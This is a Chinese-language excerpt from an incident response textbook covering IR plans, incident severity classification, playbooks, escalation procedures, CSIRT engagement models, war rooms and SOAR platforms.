扩展服务目录:最初的 IR 章程包含了泛泛的服务类别,并未提供具体细节,因此 IR 计划应当包括 CSIRT 提供的具体服务内容。例如,如果法证服务被列为服务项目的一部分,IR 计划可能会指出,法证服务包括从硬盘中恢复证据、内存取证和反向工程分析可能的恶意代码,以支持事件调查。这可以帮助 CSIRT 清楚地区分正常请求(例如,搜索硬盘以找回与事故无关的误删文档)与与已声明的事件相关的硬盘镜像操作。
-
CSIRT 人员:如前所述,CSIRT 由许多成员组成。IR 计划将明确这些角色和职责。组织应当从仅仅列出姓名和职位出发,进一步明确每个成员的具体角色和职责。在事故发生时,避免出现地盘之争是非常重要的,明确 CSIRT 人员的角色和职责有助于大大减少这种可能性。
-
联系方式列表:最新的联系方式列表应作为 IR 计划的一部分。根据组织的不同,CSIRT 可能需要全天候响应事件。在这种情况下,IR 计划应包含主要和次要的联系方式。组织还可以安排轮班的 CSIRT 成员,在事件发生时担任首个联系方式。
-
内部沟通计划:事故发生时,人员可能会感到混乱,他们需要确认发生了什么、需要哪些资源以及应该联系谁来处理该事件。IR 计划中的内部沟通指南可以帮助应对这种混乱。此部分计划涉及信息在高级领导层和 CSIRT 之间的上下流动。还应考虑 CSIRT 核心成员与支持人员之间的横向沟通。这有助于限制彼此沟通的人员范围,减少可能出现的相互矛盾的指令。
-
培训:IR 计划还应指明 CSIRT 人员的培训频率。至少,整个 CSIRT 团队每年应进行一次桌面演练。如果在事故事后分析中发现培训存在空白,应该在事故结束后合理的时间内加以解决。
-
维护:各种规模的组织都会不断变化。这可能包括基础设施、威胁和人员的变化。IR 计划应考虑审查和更新计划的频率。例如,如果组织收购了另一家公司,CSIRT 可能需要调整服务提供或整合特定的人员及其角色。至少,IR 计划应每年更新一次。个别团队成员还应通过组织如系统管理、网络和安全(SANS)提供的培训和认证,或专门的数字取证工具培训,来提升自己的技能。组织还可以将任何演练中的经验教训纳入更新中。
事件分类
不是所有事件的严重性和对组织的威胁都是一样的。例如,一种病毒感染了组织支持区域的几台计算机,其响应等级会与关键服务器的主动妥协事件不同。将所有事件视为同等严重将迅速耗尽 CSIRT 的精力,因为他们必须以相同方式响应即使是轻微的事件。
因此,在 IR 计划中定义事件分类架构非常重要。通过对事件进行分类并评估响应,组织可以更好地利用 CSIRT,并确保它们不会将所有资源投入到次要问题中。以下是一个示例分类架构:
-
高级事件:高级事件是指预计会对关键和/或战略性公司或客户信息造成重大损害、破坏或丧失的事件。高级事件可能涉及系统或网络资源的广泛或长期丧失。此类事件可能对组织及其公司公众形象造成损害,并使组织承担责任。高级事件的示例包括但不限于以下内容:
-
网络入侵
-
勒索软件
-
C2 流量的识别
-
信息系统的物理妥协和关键信息的泄露
-
丧失包含未加密机密信息的计算机系统或可移动媒体
-
广泛且不断增长的恶意软件感染(超过 25% 的主机)
-
针对 IT 基础设施的定向攻击
-
使用组织域名和品牌进行的钓鱼攻击
-
-
中级事件:中级事件是指可能导致可替代信息的损害、破坏或丧失的事件,且未造成信息泄露(没有滥用敏感客户信息)。中级事件可能会对系统或网络资源造成显著干扰,或可能影响公司内业务单元(BU)的任务。以下是一些中级事件的示例:
-
预期或正在进行的 DoS 攻击
-
丧失包含未加密机密信息的计算机系统或可移动媒体
-
授权访问的滥用或不当使用;自动化入侵
-
限制性恶意软件感染
-
异常的系统性能或行为;恶意软件的安装
-
可疑的计算机活动变化
-
-
低级事件:低级事件是指造成不便和/或无意损害或丢失可恢复信息的事件。该事件对公司几乎没有影响。以下是一些此类事件的例子:
-
通过合规审查或日志审查发现的政策或程序违规行为
-
遗失或被盗的笔记本电脑或其他含有加密机密信息的移动设备
-
未经授权的软件安装;单台 PC 的恶意软件感染
-
IR 应急预案/手册
IR 计划的一个关键方面是使用应急预案。IR 应急预案是一套在 IR 流程中的每个步骤中执行的指令和行动。应急预案的创建是为了为组织提供清晰的路径,但在调查的事件无法完美符合预定模式时,仍能保持一定的灵活性。
判断哪些应急预案至关重要的一个重要指标是组织的风险评估。检查任何被评为关键或高风险的威胁的风险评估,将指明需要通过 IR 应急预案来处理的情境。大多数组织会将一些威胁识别为关键,如通过零日漏洞进行的网络入侵、勒索软件或网络钓鱼,这些威胁需要预防和侦测控制。由于风险评估已将这些识别为关键风险,因此最好从这些威胁开始制定应急预案。
在没有风险或威胁评估的情况下,组织应至少有五个应急预案,涵盖它们可能面临的最常见情境,如下所示:
-
网络钓鱼
-
恶意软件
-
勒索软件
-
外部系统中的漏洞
-
商务电子邮件攻击(BEC)
注意事项
过去几年展示了勒索软件攻击对组织造成的毁灭性影响。本书将分析几种情境,作为整体勒索软件威胁的一部分,以更好地理解对这种类型攻击的准备和响应。
例如,让我们来分析一个常见威胁的应急预案——社会工程学。在这个应急预案中,我们将其划分为之前讨论过的 IR 流程,如下所示:
-
准备:在这一部分中,组织将重点介绍所进行的准备工作。在网络钓鱼的情况下,这可以包括提高员工识别潜在钓鱼邮件的意识,或者使用扫描附件中的恶意软件的电子邮件设备。
-
检测:对于网络钓鱼攻击,组织通常通过警觉的员工或电子邮件安全控制收到警报。组织还应计划通过恶意软件防护或主机入侵防护系统(HIPS)控制接收警报。
-
Analysis: 如果检测到事件,分析现有的任何证据对于分类和适当响应事件至关重要。在这种情况下,分析可能包括检查被感染主机的内存,检查事件日志中的可疑条目,以及审查主机进出的任何网络流量。
-
Containment: 如果已确认主机受到感染,应将其与网络隔离。
-
Eradication: 如果确认存在恶意软件,应将其移除。如果没有,手册应该有备选方案,如使用已知的良好镜像重新部署。
-
Recovery: 恢复阶段包括扫描主机以查找潜在的漏洞,并监控系统是否存在异常流量。
-
事后活动: 手册还应指导在事件发生后应采取哪些行动。这些行动中的许多都将在播放簿的目录中相同,但是包括它们是很重要的,以确保它们完整地完成。
以下图表是针对钓鱼攻击的示例手册。请注意,该手册涵盖了 IR 周期的每个阶段,以及作为响应的一部分应采取的具体行动。此外,组织可以详细说明特定行动,例如通过日志分析特定手册:

图 1.2 – 社会工程学手册
可以通过多种方式配置手册,例如,可以将书面文档添加到特定类型事件的 IR 计划中。其他时候,组织可以使用软件如 iStudio 或 Visio 制作流程图。它们旨在为 CSIRT 和其他人员提供一套遵循事件中的指令,从而避免浪费时间。手册作为指南,应定期更新,特别是在事件中使用时,应识别任何关键部分或步骤。应注意,手册并非铁板一块,也不是一份清单。CSIRT 人员在行动方面不受手册的限制,如果事件需要,可以自由进行额外的行动。
升级流程
IR 计划的一个关键组成部分是升级程序。升级程序概述了谁负责将信息系统中的事件或一系列事件从仅仅是异常转移到事故。如果 CSIRT 被派去调查太多误报,他们会变得筋疲力尽。升级程序确保有效利用 CSIRT,并且只有在需要其专业知识时才联系人员。
该程序从最有可能观察到系统中异常或事件的人员开始,这些异常或事件可能预示着更大的安全事件——例如,帮助台可能会接到一系列电话,表明可能存在恶意软件感染。升级程序可能指示,如果检测到恶意软件并且无法通过恶意软件防护措施进行清除,人员应联系值班的 CSIRT 成员。在此步骤中的一个重要考虑因素是确定升级报告中应包含哪些信息。以下指南列出了 CSIRT 开始处理问题所需的详细信息:
-
检测日期和时间:这个初始数据点不言自明。但有两个主要考虑因素。第一个是时区。首选时区是协调世界时(UTC)。如果所有记录活动的系统都配置为 UTC,这特别有用。第二个是格式。虽然有些争议,但一种通用的方法是将日期和时间放在一起,形成以下格式:20220117T1637 UTC。
-
报告人:此人作为任何可能被召入升级处理的其他人员的初始联系人。此人应对事件有清晰的了解,能够回答任何问题。通常情况下,这个人是 SOC 经理或其他责任人。
-
事件类型:在升级过程中,明确被升级事件的类型非常重要。这可能决定了特定类型的响应。以下是需要考虑的事件类型:
-
勒索软件
-
恶意软件感染
-
外部系统被攻破
-
持续的妥协
-
数据外泄
-
C2
-
DoS
-
其他
-
-
事件严重性:这是对事件严重性的首次评估。了解问题的严重性将帮助 IR 团队合理配置资源。
-
受影响系统的数量:如果可能,提供事件的规模非常重要。这应包括受影响的系统数量、操作系统类型以及系统的功能——例如,影响的是仅运行 Apache 的 Linux 服务器,还是 Windows 桌面计算机。
-
零号病人已识别:这个数据通常不会在初步升级中包含,因为零号病人——即第一个被识别为受损的系统——通常是在事件的分析阶段发现的。
-
已识别战术:任何已识别的战术也应被升级。例如,使用服务器消息块(SMB)或远程桌面协议(RDP)进行的横向移动战术应该被升级,因为这些战术表明这是一个更广泛的网络安全事件。使用的战术框架可以参考 MITRE 的对抗战术、技术与常识(ATT&CK)框架,这将在后续章节中讨论。
-
妥协指示器(IOCs):与最初检测相关的数据点,如 IP 地址、域名或文件哈希,应提交并纳入分析的一部分。
-
所采取的行动:如果采取了任何行动,报告方或其同事也应被记录。例如,如果报告小组有能力阻止代码执行,并成功阻止了恶意软件的进一步执行,这将直接影响 IR 团队所采取的响应措施。
有多种方法可以将这些信息传递给 CSIRT。工单系统可以配置为自动通知 CSIRT 人员,工单中包含相关的升级细节。另一个选择是使用电子邮件模板,发送给处理升级的特定 CSIRT 人员。在事件发生期间,CSIRT 和其他人员从事件开始时所采取的所有行动应被记录并跟踪。
信息
对于那些资源有限、每年发生的事件较少的组织,大多数 IT 工单系统足以跟踪事件。这种方法的缺点是,这些系统通常缺乏 IR(事件响应)功能,并且没有专门支持 IR 活动的附加功能。对于事件频发的大型组织,实施专门设计的 IR 跟踪系统可能是最合适的选择。这些系统可以集成证据收集和事件处置手册。
然后,CSIRT 成员将接管事件处理。如果他们能够将恶意软件限制在单一系统内并确定感染路径,他们将尝试移除恶意软件,若无法清除,则会重新安装并重新部署系统。此时,事件已成功结束。CSIRT 成员可以记录事件并关闭工单,而无需调动其他资源。
另一个例子是,当升级过程进一步发展为全面的 CSIRT(计算机安全事件响应团队)响应时,最初的情况可能非常简单,只需对 Active Directory 凭据进行审计。在这种情况下,负责访问管理的服务器管理员正在进行半年度的管理员凭据审计。在审计过程中,他们发现三个新的管理员用户账户,这些账户没有与任何已知的访问权限关联。经过进一步调查,他们确定这些用户账户是在几个小时内创建的,而且是在一个周末期间创建的。服务器管理员随即联系 CSIRT 进行调查。
CSIRT 分析员观察情况,判断可能发生了安全事件。CSIRT 成员指示服务器管理员检查事件日志,查看是否有使用管理员账户的登录记录。服务器管理员发现了两个登录:一个是在数据库服务器上,另一个是在 非军事区 (DMZ) 的 Web 服务器上。随后,CSIRT 分析员指示分配给 CSIRT 的网络管理员检查 SQL 数据库和 Web 服务器之间的网络流量。此外,基于当前情况,CSIRT 分析员将此事升级到 CSIRT 协调员,并将情况通报给他们。CSIRT 协调员随即开始启动其他 CSIRT 核心团队和技术支持成员的协作。
在检查网络流量后,确认外部威胁行为者已经入侵了这两个系统,并正试图从内部网络中窃取客户数据库。此时,CSIRT 协调员将此事件视为高危事件,并开始组织支持人员进行简报。由于此次事件涉及客户数据的泄露,CSIRT 支持人员——如市场营销、沟通与法律人员——需要参与其中。如果需要更多资源,CSIRT 协调员将主导决策。
升级程序的制定旨在确保相关人员拥有适当的授权和培训,能够在需要时调动资源。升级程序还应考虑在事件严重性不同的情况下,是否需要其他非核心 CSIRT 成员的参与。升级程序的关键功能之一是明确哪些人员有权宣布事件中的异常活动。升级程序还应根据事件的严重性,明确是否需要其他人员参与。
测试 IR 框架
到目前为止,已经在准备应对安全事件的多个领域取得了进展。从最初对 IR 过程的理解开始,我们已经完成了 IR 计划及相关操作手册的制定。
一旦某项能力建立完成,应通过桌面演练来发现任何潜在的漏洞或缺陷。此演练应包含一个涉及整个团队和相关操作手册的高危事件场景。应准备并提交一份报告,详细列出桌面演练的结果以及任何缺陷、修正或调整,并将报告转交给高级领导层。一旦领导层获知并确认 CSIRT 已准备好投入使用,它就正式投入运营。
当 CSIRT 在结构化场景下执行计划时变得得心应手,他们可能会想尝试更复杂的测试措施。另一个可行的选项是红/蓝或紫队演练。在这种情况下,CSIRT 的任务是响应授权的渗透测试。此时,团队能够与真实对手对抗,测试计划和操作手册。这显著提高了渗透测试的价值,因为它不仅提供了对基础设施安全的洞察,还展示了组织对威胁做出适当反应的能力。
无论团队的组成如何,CSIRT 部署的另一个关键组成部分是定期培训的纳入。对于 CSIRT 核心成员,应持续进行关于新兴威胁、取证技术和工具的专项培训。这可以通过第三方培训提供者来进行,或者如果有条件的话,也可以通过内部培训进行。CSIRT 的技术支持成员应定期接受有关可用技术和工具的培训。
如果这些成员在事件发生时可能被召集来协助证据收集或修复活动,这一点尤其重要。最后,其他支持成员应参与 IR 计划的年度测试。就像首次测试一样,组织应选择一个高层次的事件并通过桌面演练进行处理。另一个可供组织选择的方案是将 IR 计划的测试与渗透测试结合起来。如果组织能够检测到渗透测试的存在,他们就具备了应对事件的能力,可以进行事件的初期阶段并为剩余部分制定桌面演练。
IR 计划的持续维护的一个最终组成部分是全面的年度审查。进行年度审查是为了确保任何人员、成员或任务的变化不会影响计划的其他部分。除了审查计划,还会对操作手册进行全面审查。随着威胁的变化,可能需要更改现有的操作手册或增加新的手册。若出现新的威胁,CSIRT 人员也应自由创建新的操作手册。通过这种方式,CSIRT 能够更好地应对可能影响组织的事件。任何重大的更改或增加也应触发另一次桌面演练,以验证附加的计划和操作手册。
总结
本杰明·富兰克林曾说过:“不做准备,你就是在准备失败。”在许多方面,这句话在组织和网络攻击威胁方面是非常准确的。为网络攻击做好准备是一项至关重要的职能,必须像任何其他网络安全方面一样认真对待。深入了解 IR 过程,并基于此建立 IR 能力,可以为组织提供一种准备措施,以便在发生事件时能够进行响应。请记住,随着我们向前推进,取证技术、威胁情报(TI)和逆向工程旨在帮助组织走到最后——即恢复正常运行。
本章探讨了构建 IR 能力所需的一些准备工作。选择团队、制定计划、创建剧本和升级程序,使 CSIRT 能够有效地应对事件。CSIRT 及其相关计划为数字取证技术提供了结构。
本讨论将在下一章开始,在那里,适当的证据处理和文档记录是调查事件的关键第一步。
问题
通过回答以下问题测试你的知识:
-
在对 IR 计划和/或剧本进行更改后,应该进行桌面演练。
-
正确
-
错误
-
-
以下哪些角色不会是 CSIRT 核心团队的成员?
-
事件协调员
-
CSIRT 分析员
-
法律
-
-
在 IR 框架中,不必为事件发生时提供技术资源支持。
-
正确
-
错误
-
-
风险评估是识别高风险事件并为剧本创建提供有效数据源的一个有效途径。
-
正确
-
错误
-
进一步阅读
你可以参考以下资源,获取有关我们在本章所学内容的更多信息:
-
计算机安全事件处理指南,NIST SP 800-61 修订版 2:
csrc.Nist.gov/publications/detail/sp/800-61/rev-2/final -
欧洲网络与信息安全局(ENISA)——现场角色扮演中的事件处理手册:
www.enisa.europa.eu/topics/trainings-for-cybersecurity-specialists/online-training-material/documents/incident-handling-in-live-role-playing-handbook/view -
事件处理手册 作者:Patrick Kral,SANS 阅读室:
www.sans.org/reading-room/whitepapers/incident/incident-handlers-handbook-33901
第二章:管理网络事件
上一章中详细介绍的事件响应框架提供了 计算机安全事件响应团队(CSIRT)的具体结构,并解释了 CSIRT 如何与其他业务部门进行互动。本章进一步扩展了组织应采取的必要计划和准备工作,以应对网络事件。不幸的是,计划和准备无法解决网络事件中固有的所有变量和不确定性。
本章将重点执行在 第一章 中详细阐述的计划和框架,以正确管理网络事件。对网络事件管理的坚实基础和理解可以帮助组织更高效地付诸实践,与关键利益相关者及时沟通,并且最重要的是,减少网络事件可能造成的损失或停机时间。
本章将讨论如何管理网络事件,涵盖以下主题:
-
参与事件响应团队
-
安全编排、自动化和响应
-
融入危机沟通
-
融入遏制策略
-
恢复正常 – 根除、恢复和事件后的活动
参与 CSIRT,就像联系消防部门一样,需要一个明确的升级路径。在以下章节中,有三个 CSIRT 模型,描述了在选择合适的升级路径时的一些选项。
参与事件响应团队
CSIRT 的功能与消防部门类似。消防部门有经过专门训练的专业人员,负责使用专门设备响应紧急情况,以遏制并根除火灾。为了联系消防部门,公民必须联系紧急服务并提供关键信息,如紧急情况的性质、位置以及是否有人命危险。然后,这些信息会传递给消防部门,消防部门派遣资源到紧急地点。
参与 CSIRT 的过程非常类似于联系消防部门。内部或外部人员需要将网络安全事件的指示升级到适当的人员。此后,资源会被派遣到适当的地点,在现场的人员将主导控制事件并消除或限制可能的停机时间或数据丢失。为了使这个过程尽可能高效,以下是参与过程中的关键组成部分:
-
CSIRT 模型提供了一个框架,将 CSIRT 和相关的升级程序纳入组织结构中
-
战情室 描述了 CSIRT 管理事件的地点
-
沟通解决 CSIRT 正确沟通的能力
-
人员轮换管理了在长期事件中需要休息人员的需求
CSIRT 参与模型
组织如何使用其 CSIRT 能力,很大程度上取决于其结构。组织根据自身结构和资源配置 CSIRT,以便最好地促进快速升级,同时尽可能多地捕捉事件的细节,从而进行适当的调查。
安全操作中心升级
在这种组织模型中,安全操作中心(SOC)负责处理初步的事件检测或调查。一般来说,SOC 负责管理监控网络基础设施的安全工具。它可以直接访问事件管理、入侵防御和检测以及杀毒系统。在这里,它可以查看事件、接收和审查警报,并处理其他与安全相关的数据。
SOC 升级是拥有专门 SOC 的组织中常见的一种模式,无论是通过内部人员、第三方托管安全服务提供商(MSSP)还是托管检测与响应(MDR)提供商。在这种模式中,从初始通知到 CSIRT 的介入都有明确的步骤,具体如下:
-
SOC 或一级分析员接收警报或检测。
-
SOC 或一级分析员进行初步分析,然后确定警报或检测是否符合事件的标准。
-
如果有必要,分析员将把事件上报给 SOC 经理。
-
在 SOC 经理审核后,事件将被升级到值班的事件响应分析员。
-
CSIRT 分析员将审查警报或检测,并根据事件的严重性判断是否需要启用整个 CSIRT 能力。
-
根据事件的严重性,CSIRT 分析员将处理该事件或将其升级到 CSIRT 经理以启用整个 CSIRT 能力。
下图展示了从检测到升级至 CSIRT 经理的事件升级流程:

图 2.1 – SOC 参与模型
在此模型中,CSIRT 和 SOC 人员需要解决的几个关注问题如下:
-
首先,以这种方式介入 CSIRT 会导致在 CSIRT 完全介入之前有多个个人参与处理同一事件。这会增加从检测到 CSIRT 响应之间的时间,可能会增加事件的潜在影响。
-
其次,如果事件升级未被适当记录,CSIRT 经理将不得不与 SOC 经理进行沟通,澄清或获取更多信息,从而增加妥善处理事件所需的时间。
-
第三,SOC 人员需要接受培训,以确定哪些观察到的事件构成了事件,哪些可能是误报。CSIRT 可能会因 SOC 不断追踪误报而感到倦怠。
-
最后,SOC 与 CSIRT 之间的沟通需要清晰简洁。任何在实时共享信息能力上的差距都会导致额外的混乱。
这种模型的另一种变体,在没有专门 SOC 的组织中较为常见,是初步的安全事件由帮助台或网络运营中心接收。这增加了及时联系 CSIRT 的复杂性,因为这种人员通常没有接受处理此类事件的培训。
提示
在这种情况下的最佳实践是让这些团队中的几名人员接受网络安全分析培训,以应对初步的分类和适当的升级。
SOC 集成模型
为了限制 SOC 升级模型的一些缺点,一些组织将 SOC 嵌入到整体 CSIRT 中。将 SOC 放入这种结构中可能更有效,因为 SOC 负责初步的警报和分类功能,而这些功能与 CSIRT 直接相关。
在此模型中,SOC 分析员充当第一层级。如前所述,他们首先看到安全事件或安全控制警报。处理并分类警报后,他们能够立即将事件升级到第二层级分析员,而无需与经理接触,然后再由经理将其升级到 CSIRT 经理。该过程在下图中有详细展示:

图 2.2 – SOC 集成模型
这个模型相较于之前的模型有一些明显的优势。首先,CSIRT 对 SOC 所看到和所做的事情有更大的可见性。此外,将 SOC 嵌入到 CSIRT 中使得 CSIRT 经理及其团队能够制定更有效的与事件相关的政策和程序。第二个明显的优势是,事件升级的速度更快,且更可能具有更高的精确性。由于 SOC 分析员直接向下一级 CSIRT 人员进行升级,整个过程更快,且最终会进行更详细的分析。
这种方法在拥有专门内部 SOC 且未外包的组织中运行良好。对于那些使用网络运营中心或帮助台,且没有专门 SOC 的组织而言,这种方法并不现实,因为这些功能通常由 CSIRT 或甚至网络安全团队之外的部门管理。另一个问题是,根据 SOC 和 CSIRT 的规模,可能需要额外的 CSIRT 经理来处理 SOC 和 CSIRT 的日常工作量。
融合中心
随着威胁情报在日常安全操作中扮演越来越重要的角色,一种应对这一趋势的组织结构就是 CSIRT 融合中心。在这种情况下,CSIRT 分析师、SOC 分析师和威胁情报分析师会在一个团队结构中合作。这种结构将 SOC 和 CSIRT 结合结构与专职威胁情报分析师的元素融合在一起。在这种情境下,威胁情报分析师将负责通过与事件相关的外部和内部资源来增强事件调查。他们还可以在与事件相关的其他领域提供详细分析。以下图表展示了从融合中心主管到负责事件管理的各个人员的工作流程:

图 2.3 – 融合中心模型
随着组织在其安全操作中不断发展威胁情报资源,这种模型使得 CSIRT 能够利用该能力,而无需创建新的流程。在第十七章中,我们将深入讨论威胁情报,并解释这一能力如何增强事件调查。
除了增加人员外,融合中心模型还使用了额外的技术。SOC 模型通常会使用安全信息和事件管理(SIEM)系统,通过日志和警报源提供网络可视性并检测入侵。融合中心还通常会使用安全编排、自动化和响应(SOAR),这一部分将在本章后续内容中讨论。这两个工具提供网络可视性,并在事件发生时能迅速切换到关键系统。
CSIRT 融合中心尚未广泛部署,主要是因为威胁情报整合是一种相对较新的方法论,且资源消耗较大。很少有组织具备足够的技术或人员资源来使这种结构有效运作。引入全职威胁情报分析师,以及各种付费和开源数据源(及其支持技术),往往会增加高昂的成本。因此,能够将全职威胁情报分析师作为 CSIRT 能力的一部分的组织并不多。
调查事件
一旦 CSIRT 介入,其主要任务之一就是调查事件。本部分的主要内容讲述了在调查事件时可以采用的各种方法。CSIRT 的主要目标是利用遵循系统分析的方法来处理事件的以下关键方面:
- 确定范围:在一些事件中,实际范围可能在初步检测阶段并不明确。例如,执法机构可能联系某个组织,表示已关闭一个 C2 服务器。在对该系统进行分析时,发现该组织的外部 IP 地址。从这一数据点开始,范围首先被定义为整个网络。然后,CSIRT(计算机安全事件响应小组)会分析防火墙或 Web 代理的数据,找出与 C2 服务器进行通信的内部系统。根据这些数据,他们将把事件的初步范围缩小到那些受到影响的系统。
在尝试确定事件的范围时,通常会试图找到“零号病人”,即第一个被攻破的系统。在某些事件中,这可能很容易发现。比如,包含 PDF 文档的网络钓鱼邮件,在打开后执行恶意软件,用户或安全控制措施通常能轻松识别。其他攻击可能就不那么明显了。虽然找到零号病人对于根本原因分析提供了大量数据,但更重要的是首先确定事件的范围,而不是只关注一个系统。
- 确定影响:另一个关键考虑因素是评估事件的影响。那些接触过信息安全基本概念的人,对CIA 三元组应该十分熟悉。CIA 三元组代表信息系统中的安全要素:保密性、完整性和可用性。任何安全漏洞或违反都将对这些要素中的一个或多个产生影响。例如,影响 15 台生产服务器的勒索软件事件,会影响这些系统中数据的可用性。与事件相关的可用性影响,无论是由于对手行为的直接结果,还是响应和修复所需的时间,都是决定事件影响的重要因素。其他事件,例如知识产权盗窃,则会影响数据的保密性。最后,涉及未经授权的源代码或其他数据篡改的事件,则会影响数据的完整性。下图突出显示了 CIA 三元组:

图 2.4 – CIA 三元组
了解事件的潜在影响对于决定分配响应资源的决策至关重要。针对网络上非关键服务的分布式拒绝服务(DDoS)攻击,不需要像发现零售支付基础设施中存在窃取信用卡信息的恶意软件时那样进行响应。影响也直接关系到合规性与法律和其他法规的遵守。了解事件对合规性的潜在影响,对于确保进行适当的响应至关重要。
-
识别根本原因:IT 专业人员和管理者在事件发生期间,尤其是在事件发生后,都会问的核心问题是:这到底是怎么发生的?组织在保护其基础设施上投入了大量的资金和资源。如果发生了影响性事件,就需要了解事件是如何发生的。事件调查的目标是确定导致事件及其影响的一系列事件、漏洞或其他条件。通常,事件的根本原因并非一个简单的漏洞,而是一系列事件和条件,它们使对手能够突破安全系统并进行攻击。通过调查,这些事件和条件可以被识别出来,以便进行修正或采取其他控制措施。
-
事件归因:事件调查中的一个争论点是事件归因。通过归因,CSIRT 或调查机构试图确定背后发动攻击的组织。事件可能归因于国家级行为者、犯罪团伙或其他网络对手。
尽管从威胁情报的角度来看,归因有一定的重要性(第十七章将讨论与事件响应相关的归因问题),但更好的资源应当用于调查或控制事件。试图查明负责攻击的团体是非常耗时的,且很少能得到积极的回报。如果组织的领导层坚持要确定归因,最好的方法是全面记录事件,并将数据交给专门处理归因的第三方。这类组织通常会将来自多个事件调查的数据结合起来,构建某些团体的档案。如果提供的数据与其中某个团体的活动相符,他们可能能够提供一些归因方面的背景信息。
CSIRT 战情室
另一个在与 CSIRT 合作时需要考虑的因素是需要有一个单一的地点,供 CSIRT 操作。关于 CSIRT 操作的物理位置,有多个术语可以使用,如 SOC 或危机处理室,但更简单的术语是战情室。战情室可以根据需要设置;在某些情况下,也可以专门设置一个战情室。在前一种情况下,现有的会议室将作为战情室,持续整个事件期间。这通常是那些事件发生频率不高,且无需专门战情室的组织的首选方案。而对于那些发生较多事件或更复杂事件的组织,可能需要创建一个专用的战情室。
战情室应具备以下能力,以促进更有序的事件响应:
-
工作空间:CSIRT 核心团队的每个成员都应该有一个专用的工作空间,用于执行分析和其他与事故相关的任务。工作空间应包括网络连接、电源、显示器以及专业的数字取证工具。
-
团队展示:CSIRT 成员在事故发生时可能遇到的一大难题是无法共享分析结果。通过使用投影仪或大屏幕,可以更好地在整个团队中共享数据。
-
笔记共享:与通过团队展示共享数据相似,可能还需要在地理分散的团队之间共享信息。这可以通过使用像 OneNote、SharePoint 或为该事故创建的 wiki 等协作工具来实现。
-
白板:在战情室内会有大量信息流动。与任务分配和受影响系统的运行列表相关的数据最好写在白板上,以确保每个人都能清楚地看到。
-
有限访问:CSIRT 应将战情室的访问权限限制为只有那些有正当理由进入的人员。限制访问可以防止敏感信息落入不当之手。
通讯
组织常常忽视的一个考虑因素是,在事故发生时如何在大型组织内部进行沟通。虽然电子邮件、即时消息和语音电话等工具似乎可以满足组织内部的沟通需求,但在用户凭证、电子邮件系统或其他基于云的协作平台受到影响时,这些沟通平台可能需要被搁置。例如,一个常见的攻击是 Office 365 基于云的电子邮件系统被入侵。如果攻击者已经获得了电子邮件系统的访问权限,他们可能还会入侵与之关联的即时消息应用程序,如 Skype。鉴于此,在事故发生时依赖这些应用程序实际上可能会让攻击者洞察 CSIRT 的行动。
如果怀疑这些应用程序已经被入侵,那么拥有一个次级甚至三级的通讯选项就显得尤为重要。商业购买的手机通常是一个安全的替代方案。此外,CSIRT 成员可以在短时间内使用免费的或低成本的协作工具,直到确认常规通讯平台已经可以安全使用为止。
轮换工作人员
长时间的事件调查会对 CSIRT 人员的身体和心理产生影响。虽然在事件得到处理之前将团队投入工作看似谨慎,但这会对团队的功能造成不利影响。研究表明,长期工作且休息时间很少会对认知产生负面影响。因此,事件指挥官(IC)必须在大约 12-24 小时后将响应人员安排轮班。
例如,在事件调查开始大约 24 小时后,必须开始轮换人员,以确保他们有 8 小时的休息时间。这也包括事件指挥官(IC)。在长时间的事件处理中,应指定替代事件指挥官,以确保工作的持续性,并确保每位指挥官都能得到适当的休息。
另一种策略是在事件的非活跃期间进行支持。非活跃期通常发生在事件被遏制且潜在的指挥与控制(C2)流量得到处理时。可以利用支持人员监控网络中的任何变化,从而为 CSIRT 提供休息时间。
SOAR
CSIRT(计算机安全事件响应团队)要求将一个大而多样化的团队汇集在一起,以便正确处理事件。无论组织选择哪种模式来整合 CSIRT 的职能,仍然需要进行大量的协调和信息分析与报告。
注释
SOAR 技术通常出现在安全态势更成熟的组织中。这些组织通常拥有专门的 SOC(安全运营中心)或融合中心。其他使用此技术的主要客户是 MSSP(托管安全服务提供商)或 MDR(托管检测和响应)提供商。这是因为购买商业 SOAR 产品的成本以及其持续维护的费用。大多数组织如果每年处理的事件较少,则不需要这种平台。本材料是为了帮助熟悉此技术而提供的。
技术研究公司 Gartner 定义 SOAR 为:
结合事件响应、编排与自动化以及威胁情报(TI)管理功能的解决方案,这些解决方案集成在一个平台中。SOAR 工具也用于记录和实施流程(即剧本、工作流和过程);支持安全事件管理;并为人类安全分析师和操作员提供基于机器的帮助。
SOAR 平台是三种独立工具的结合。第一种工具是 事件响应平台(IRP)。该工具用于管理事件响应工作流、案件管理以及 CSIRT 的知识库。第二种工具是 安全编排与自动化(SOA)。该工具用于管理事件剧本、工作流和流程。SOA 还会自动化一些低级任务,如响应恶意软件检测时隔离端点,然后通知 SOC 或 CSIRT 分析师。构成 SOAR 的最后一个工具是 威胁情报平台(TIP)。TIP 用于聚合来自内部或外部来源的 妥协指标(IOC)。TIP 还可以用于丰富来自 入侵检测系统(IDS)的警报,为检测提供更多的背景信息。
例如,某个恶意软件检测工具与组织的事件管理系统相连接。检测到某些问题后,相关信息被转发到 SIEM。随后,SIEM 将数据传送到 SOAR。根据参数,SOAR 的剧本会立即将系统与网络隔离。文件的哈希值会与威胁情报信息源进行比较,结果表明该文件属于 BazarLoader 家族。最后,通知被发送到 CSIRT 的 Slack 渠道,团队能够及时响应感染并清理系统,然后再重新连接到网络。
市面上有各种商业和开源的 SOAR 解决方案。即便有如此多的选择,大部分这些 SOAR 解决方案(包括开源版本)都具备以下功能:
-
警报优先级:CSIRT 和 SOC 团队常常需要处理来自各种来源、不同严重程度的警报。SOAR 平台能够将各种警报来源(如 端点检测与响应(EDR)工具、IDS 和 入侵防御系统(IPS)、以及 漏洞管理系统(VMS))整合为一个单一来源。通过这样,SOC 和 CSIRT 可以为这些警报分配优先级,确保最关键的警报得到优先处理。
-
自动化:SOAR 平台具备执行通常由 CSIRT 或 SOC 人员处理的低级任务的能力。在前面的例子中,SOAR 平台在检测到恶意软件后被配置为隔离端点,并通知 CSIRT。其他操作包括阻止文件哈希和切断网络连接。
-
协作:SOAR 的聚合警报及其他事件数据的能力,为 SOC 和 CSIRT 人员提供了一个理想的协作平台。事件可以在一个中央位置进行调查和记录,操作得到妥善指导和沟通。此外,事件中的所有相关人员都能看到其他团队成员的操作,从而避免潜在的冲突。
-
威胁情报增强:有多种外部和内部的威胁情报来源提供关于 IOC(入侵指标)的额外背景信息。SOAR 可以用来增强检测并为指标提供背景。例如,IPS 检测到的 IP 地址可以被引入 SOAR,从而指示该 IP 地址与后期利用工具 Cobalt Strike 相关,增强威胁情报,为 CSIRT 提供更多信息,并提醒他们可能存在严重的入侵。
-
